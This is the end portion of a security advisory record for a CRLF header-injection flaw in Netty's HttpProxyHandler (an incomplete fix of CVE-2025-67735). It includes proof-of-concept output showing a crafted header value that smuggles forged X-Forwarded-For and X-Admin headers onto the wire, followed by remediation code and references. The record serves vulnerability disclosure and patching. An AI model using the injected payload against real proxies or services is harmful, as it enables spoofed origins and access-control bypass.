true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}